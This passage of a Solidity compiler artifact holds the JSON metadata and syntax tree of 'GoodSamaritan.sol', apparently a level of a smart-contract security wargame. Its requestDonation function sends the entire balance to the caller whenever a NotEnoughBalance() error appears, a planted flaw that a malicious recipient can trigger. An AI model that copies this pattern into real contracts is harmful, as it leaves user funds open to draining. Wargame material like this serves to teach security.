contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/levels/GoodSamaritan.sol":"Coin"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/openzeppelin-contracts-08/contracts/utils/Address.sol":{"keccak256":"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10","urls":["bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487","dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG"],"license":"MIT"},"src/levels/GoodSamaritan.sol":{"keccak256":"0xb208a148389591b9b75d6dc1f0edf8d903132168b62239d8b49804f8555f1947","urls":["bzz-raw://3a7b0a11f0319286ed345e53b56ebcb4940b20dff05a1ce94896a4f153dbd615","dweb:/ipfs/QmYkGNmn5PziUnkEy6N9UyLYMRdNf2oo8eV7v1vXGed51M"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/levels/GoodSamaritan.sol","id":53328,"exportedSymbols":{"Address":[48259],"Coin":[53225],"GoodSamaritan":[53146],"INotifyable":[53327],"Wallet":[53321]},"nodeType":"SourceUnit","src":"32:2543:87","nodes":[{"id":53068,"nodeType":"PragmaDirective","src":"32:31:87","nodes":[],"literals":["solidity",">=","0.8",".0","<","0.9",".0"]},{"id":53069,"nodeType":"ImportDirective","src":"65:53:87","nodes":[],"absolutePath":"lib/openzeppelin-contracts-08/contracts/utils/Address.sol","file":"openzeppelin-contracts-08/utils/Address.sol","nameLocation":"-1:-1:-1","scope":53328,"sourceUnit":48260,"symbolAliases":[],"unitAlias":""},{"id":53146,"nodeType":"ContractDefinition","src":"120:668:87","nodes":[{"id":53072,"nodeType":"VariableDeclaration","src":"149:20:87","nodes":[],"constant":false,"functionSelector":"521eb273","mutability":"mutable","name":"wallet","nameLocation":"163:6:87","scope":53146,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Wallet_$53321","typeString":"contract Wallet"},"typeName":{"id":53071,"nodeType":"UserDefinedTypeName","pathNode":{"id":53070,"name":"Wallet","nameLocations":["149:6:87"],"nodeType":"IdentifierPath","referencedDeclaration":53321,"src":"149:6:87"},"referencedDeclaration":53321,"src":"149:6:87","typeDescriptions":{"typeIdentifier":"t_contract$_Wallet_$53321","typeString":"contract Wallet"}},"visibility":"public"},{"id":53075,"nodeType":"VariableDeclaration","src":"175:16:87","nodes":[],"constant":false,"functionSelector":"11df9995","mutability":"mutable","name":"coin","nameLocation":"187:4:87","scope":53146,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Coin_$53225","typeString":"contract Coin"},"typeName":{"id":53074,"nodeType":"UserDefinedTypeName","pathNode":{"id":53073,"name":"Coin","nameLocations":["175:4:87"],"nodeType":"IdentifierPath","referencedDeclaration":53225,"src":"175:4:87"},"referencedDeclaration":53225,"src":"175:4:87","typeDescriptions":{"typeIdentifier":"t_contract$_Coin_$53225","typeString":"contract Coin"}},"visibility":"public"},{"id":53103,"nodeType":"FunctionDefinition","src":"198:125:87","nodes":[],"body":{"id":53102,"nodeType":"Block","src":"212:111:87","nodes":[],"statements":[{"expression":{"id":53083,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":53078,"name":"wallet","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53072,"src":"222:6:87","typeDescriptions":{"typeIdentifier":"t_contract$_Wallet_$53321","typeString":"contract Wallet"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[],"expression":{"argumentTypes":[],"id":53081,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"231:10:87","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$__$returns$_t_contract$_Wallet_$53321_$","typeString":"function () returns (contract Wallet)"},"typeName":{"id":53080,"nodeType":"UserDefinedTypeName","pathNode":{"id":53079,"name":"Wallet","nameLocations":["235:6:87"],"nodeType":"IdentifierPath","referencedDeclaration":53321,"src":"235:6:87"},"referencedDeclaration":53321,"src":"235:6:87","typeDescriptions":{"typeIdentifier":"t_contract$_Wallet_$53321","typeString":"contract Wallet"}}},"id":53082,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"231:12:87","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Wallet_$53321","typeString":"contract Wallet"}},"src":"222:21:87","typeDescriptions":{"typeIdentifier":"t_contract$_Wallet_$53321","typeString":"contract Wallet"}},"id":53084,"nodeType":"ExpressionStatement","src":"222:21:87"},{"expression":{"id":53094,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":53085,"name":"coin","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53075,"src":"253:4:87","typeDescriptions":{"typeIdentifier":"t_contract$_Coin_$53225","typeString":"contract Coin"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"arguments":[{"id":53091,"name":"wallet","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53072,"src":"277:6:87","typeDescriptions":{"typeIdentifier":"t_contract$_Wallet_$53321","typeString":"contract Wallet"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Wallet_$53321","typeString":"contract Wallet"}],"id":53090,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"269:7:87","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":53089,"name":"address","nodeType":"ElementaryTypeName","src":"269:7:87","typeDescriptions":{}}},"id":53092,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"269:15:87","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":53088,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"260:8:87","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$_t_address_$returns$_t_contract$_Coin_$53225_$","typeString":"function (address) returns (contract Coin)"},"typeName":{"id":53087,"nodeType":"UserDefinedTypeName","pathNode":{"id":53086,"name":"Coin","nameLocations":["264:4:87"],"nodeType":"IdentifierPath","referencedDeclaration":53225,"src":"264:4:87"},"referencedDeclaration":53225,"src":"264:4:87","typeDescriptions":{"typeIdentifier":"t_contract$_Coin_$53225","typeString":"contract Coin"}}},"id":53093,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"260:25:87","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Coin_$53225","typeString":"contract Coin"}},"src":"253:32:87","typeDescriptions":{"typeIdentifier":"t_contract$_Coin_$53225","typeString":"contract Coin"}},"id":53095,"nodeType":"ExpressionStatement","src":"253:32:87"},{"expression":{"arguments":[{"id":53099,"name":"coin","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53075,"src":"311:4:87","typeDescriptions":{"typeIdentifier":"t_contract$_Coin_$53225","typeString":"contract Coin"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Coin_$53225","typeString":"contract Coin"}],"expression":{"id":53096,"name":"wallet","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53072,"src":"296:6:87","typeDescriptions":{"typeIdentifier":"t_contract$_Wallet_$53321","typeString":"contract Wallet"}},"id":53098,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"303:7:87","memberName":"setCoin","nodeType":"MemberAccess","referencedDeclaration":53320,"src":"296:14:87","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_contract$_Coin_$53225_$returns$__$","typeString":"function (contract Coin) external"}},"id":53100,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"296:20:87","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":53101,"nodeType":"ExpressionStatement","src":"296:20:87"}]},"implemented":true,"kind":"constructor","modifiers":[],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":53076,"nodeType":"ParameterList","parameters":[],"src":"209:2:87"},"returnParameters":{"id":53077,"nodeType":"ParameterList","parameters":[],"src":"212:0:87"},"scope":53146,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":53145,"nodeType":"FunctionDefinition","src":"329:457:87","nodes":[],"body":{"id":53144,"nodeType":"Block","src":"394:392:87","nodes":[],"statements":[{"clauses":[{"block":{"id":53115,"nodeType":"Block","src":"476:36:87","statements":[{"expression":{"hexValue":"74727565","id":53113,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"497:4:87","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"},"functionReturnParameters":53107,"id":53114,"nodeType":"Return","src":"490:11:87"}]},"errorName":"","id":53116,"nodeType":"TryCatchClause","src":"476:36:87"},{"block":{"id":53141,"nodeType":"Block","src":"538:242:87","statements":[{"condition":{"commonType":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"id":53129,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"arguments":[{"hexValue":"4e6f74456e6f75676842616c616e63652829","id":53123,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"590:20:87","typeDescriptions":{"typeIdentifier":"t_stringliteral_ad3a8b9eaddc3d6d5c780ccaaf272bfb52ccfbe8d3a426f9902dadb4685d4a9b","typeString":"literal_string \"NotEnoughBalance()\""},"value":"NotEnoughBalance()"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_ad3a8b9eaddc3d6d5c780ccaaf272bfb52ccfbe8d3a426f9902dadb4685d4a9b","typeString":"literal_string \"NotEnoughBalance()\""}],"expression":{"id":53121,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"566:3:87","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":53122,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"570:19:87","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"566:23:87","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":53124,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"566:45:87","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":53120,"name":"keccak256","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-8,"src":"556:9:87","typeDescriptions":{"typeIdentifier":"t_function_keccak256_pure$_t_bytes_memory_ptr_$returns$_t_bytes32_$","typeString":"function (bytes memory) pure returns (bytes32)"}},"id":53125,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"556:56:87","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"arguments":[{"id":53127,"name":"err","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53118,"src":"626:3:87","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":53126,"name":"keccak256","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-8,"src":"616:9:87","typeDescriptions":{"typeIdentifier":"t_function_keccak256_pure$_t_bytes_memory_ptr_$returns$_t_bytes32_$","typeString":"function (bytes memory) pure returns (bytes32)"}},"id":53128,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"616:14:87","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"src":"556:74:87","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":53140,"nodeType":"IfStatement","src":"552:218:87","trueBody":{"id":53139,"nodeType":"Block","src":"632:138:87","statements":[{"expression":{"arguments":[{"expression":{"id":53133,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"714:3:87","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":53134,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"718:6:87","memberName":"sender","nodeType":"MemberAccess","src":"714:10:87","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":53130,"name":"wallet","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53072,"src":"689:6:87","typeDescriptions":{"typeIdentifier":"t_contract$_Wallet_$53321","typeString":"contract Wallet"}},"id":53132,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"696:17:87","memberName":"transferRemainder","nodeType":"MemberAccess","referencedDeclaration":53307,"src":"689:24:87","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":53135,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"689:36:87","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":53136,"nodeType":"ExpressionStatement","src":"689:36:87"},{"expression":{"hexValue":"66616c7365","id":53137,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"750:5:87","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"false"},"functionReturnParameters":53107,"id":53138,"nodeType":"Return","src":"743:12:87"}]}}]},"errorName":"","id":53142,"nodeType":"TryCatchClause","parameters":{"id":53119,"nodeType":"ParameterList","parameters":[{"constant":false,"id":53118,"mutability":"mutable","name":"err","nameLocation":"533:3:87","nodeType":"VariableDeclaration","scope":53142,"src":"520:16:87","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":53117,"name":"bytes","nodeType":"ElementaryTypeName","src":"520:5:87","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"519:18:87"},"src":"513:267:87"}],"externalCall":{"arguments":[{"expression":{"id":53110,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"464:3:87","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":53111,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"468:6:87","memberName":"sender","nodeType":"MemberAccess","src":"464:10:87","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":53108,"name":"wallet","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53072,"src":"448:6:87","typeDescriptions":{"typeIdentifier":"t_contract$_Wallet_$53321","typeString":"contract Wallet"}},"id":53109,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"455:8:87","memberName":"donate10","nodeType":"MemberAccess","referencedDeclaration":53286,"src":"448:15:87","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":53112,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"448:27:87","tryCall":true,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":53143,"nodeType":"TryStatement","src":"444:336:87"}]},"functionSelector":"25143638","implemented":true,"kind":"function","modifiers":[],"name":"requestDonation","nameLocation":"338:15:87","parameters":{"id":53104,"nodeType":"ParameterList","parameters":[],"src":"353:2:87"},"returnParameters":{"id":53107,"nodeType":"ParameterList","parameters":[{"constant":false,"id":53106,"mutability":"mutable","name":"enoughBalance","nameLocation":"379:13:87","nodeType":"VariableDeclaration","scope":53145,"src":"374:18:87","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":53105,"name":"bool","nodeType":"ElementaryTypeName","src":"374:4:87","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"373:20:87"},"scope":53146,"stateMutability":"nonpayable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"canonicalName":"GoodSamaritan","contractDependencies":[53225,53321],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[53146],"name":"GoodSamaritan","nameLocation":"129:13:87","scope":53328,"usedErrors":[],"usedEvents":[]},{"id":53225,"nodeType":"ContractDefinition","src":"790:841:87","nodes":[{"id":53149,"nodeType":"UsingForDirective","src":"810:26:87","nodes":[],"global":false,"libraryName":{"id":53147,"name":"Address","nameLocations":["816:7:87"],"nodeType":"IdentifierPath","referencedDeclaration":48259,"src":"816:7:87"},"typeName":{"id":53148,"name":"address","nodeType":"ElementaryTypeName","src":"828:7:87","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}},{"id":53153,"nodeType":"VariableDeclaration","src":"842:43:87","nodes":[],"constant":false,"functionSelector":"27e235e3","mutability":"mutable","name":"balances","nameLocation":"877:8:87","scope":53225,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"},"typeName":{"id":53152,"keyName":"","keyNameLocation":"-1:-1:-1","keyType":{"id":53150,"name":"address","nodeType":"ElementaryTypeName","src":"850:7:87","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Mapping","src":"842:27:87","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"},"valueName":"","valueNameLocation":"-1:-1:-1","valueType":{"id":53151,"name":"uint256","nodeType":"ElementaryTypeName","src":"861:7:87","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}},"visibility":"public"},{"id":53159,"nodeType":"ErrorDefinition","src":"892:61:87","nodes":[],"errorSelector":"cf479181","name":"InsufficientBalance","nameLocation":"898:19:87","parameters":{"id":53158,"nodeType":"ParameterList","parameters":[{"constant":false,"id":53155,"mutability":"mutable","name":"current","nameLocation":"926:7:87","nodeType":"VariableDeclaration","scope":53159,"src":"918:15:87","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":53154,"name":"uint256","nodeType":"ElementaryTypeName","src":"918:7:87","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":53157,"mutability":"mutable","name":"required","nameLocation":"943:8:87","nodeType":"VariableDeclaration","scope":53159,"src":"935:16:87","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":53156,"name":"uint256","nodeType":"ElementaryTypeName","src":"935:7:87","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"917:35:87"}},{"id":53173,"nodeType":"FunctionDefinition","src":"959:131:87","nodes":[],"body":{"id":53172,"nodeType":"Block","src":"988:102:87","nodes":[],"statements":[{"expression":{"id":53170,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":53164,"name":"balances","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53153,"src":"1056:8:87","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":53166,"indexExpression":{"id":53165,"name":"wallet_","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53161,"src":"1065:7:87","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"1056:17:87","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"commonType":{"typeIdentifier":"t_rational_1000000_by_1","typeString":"int_const 1000000"},"id":53169,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"leftExpression":{"hexValue":"3130","id":53167,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1076:2:87","typeDescriptions":{"typeIdentifier":"t_rational_10_by_1","typeString":"int_const 10"},"value":"10"},"nodeType":"BinaryOperation","operator":"**","rightExpression":{"hexValue":"36","id":53168,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1082:1:87","typeDescriptions":{"typeIdentifier":"t_rational_6_by_1","typeString":"int_const 6"},"value":"6"},"src":"1076:7:87","typeDescriptions":{"typeIdentifier":"t_rational_1000000_by_1","typeString":"int_const 1000000"}},"src":"1056:27:87","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":53171,"nodeType":"ExpressionStatement","src":"1056:27:87"}]},"implemented":true,"kind":"constructor","modifiers":[],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":53162,"nodeType":"ParameterList","parameters":[{"constant":false,"id":53161,"mutability":"mutable","name":"wallet_","nameLocation":"979:7:87","nodeType":"VariableDeclaration","scope":53173,"src":"971:15:87","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":53160,"name":"address","nodeType":"ElementaryTypeName","src":"971:7:87","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"970:17:87"},"returnParameters":{"id":53163,"nodeType":"ParameterList","parameters":[],"src":"988:0:87"},"scope":53225,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":53224,"nodeType":"FunctionDefinition","src":"1096:533:87","nodes":[],"body":{"id":53223,"nodeType":"Block","src":"1155:474:87","nodes":[],"statements":[{"assignments":[53181],"declarations":[{"constant":false,"id":53181,"mutability":"mutable","name":"currentBalance","nameLocation":"1173:14:87","nodeType":"VariableDeclaration","scope":53223,"src":"1165:22:87","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":53180,"name":"uint256","nodeType":"ElementaryTypeName","src":"1165:7:87","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":53186,"initialValue":{"baseExpression":{"id":53182,"name":"balances","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53153,"src":"1190:8:87","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":53185,"indexExpression":{"expression":{"id":53183,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"1199:3:87","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":53184,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1203:6:87","memberName":"sender","nodeType":"MemberAccess","src":"1199:10:87","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"1190:20:87","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"1165:45:87"},{"condition":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":53189,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":53187,"name":"amount_","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53177,"src":"1278:7:87","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"<=","rightExpression":{"id":53188,"name":"currentBalance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53181,"src":"1289:14:87","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"1278:25:87","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"falseBody":{"id":53221,"nodeType":"Block","src":"1547:76:87","statements":[{"errorCall":{"arguments":[{"id":53217,"name":"currentBalance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53181,"src":"1588:14:87","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":53218,"name":"amount_","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53177,"src":"1604:7:87","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":53216,"name":"InsufficientBalance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53159,"src":"1568:19:87","typeDescriptions":{"typeIdentifier":"t_function_error_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":53219,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1568:44:87","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":53220,"nodeType":"RevertStatement","src":"1561:51:87"}]},"id":53222,"nodeType":"IfStatement","src":"1274:349:87","trueBody":{"id":53215,"nodeType":"Block","src":"1305:236:87","statements":[{"expression":{"id":53195,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":53190,"name":"balances","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53153,"src":"1319:8:87","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":53193,"indexExpression":{"expression":{"id":53191,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"1328:3:87","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":53192,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1332:6:87","memberName":"sender","nodeType":"MemberAccess","src":"1328:10:87","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"1319:20:87","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"-=","rightHandSide":{"id":53194,"name":"amount_","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53177,"src":"1343:7:87","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"1319:31:87","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":53196,"nodeType":"ExpressionStatement","src":"1319:31:87"},{"expression":{"id":53201,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":53197,"name":"balances","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53153,"src":"1364:8:87","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":53199,"indexExpression":{"id":53198,"name":"dest_","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53175,"src":"1373:5:87","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"1364:15:87","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"+=","rightHandSide":{"id":53200,"name":"amount_","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53177,"src":"1383:7:87","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"1364:26:87","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":53202,"nodeType":"ExpressionStatement","src":"1364:26:87"},{"condition":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":53203,"name":"dest_","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53175,"src":"1409:5:87","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":53204,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1415:10:87","memberName":"isContract","nodeType":"MemberAccess","r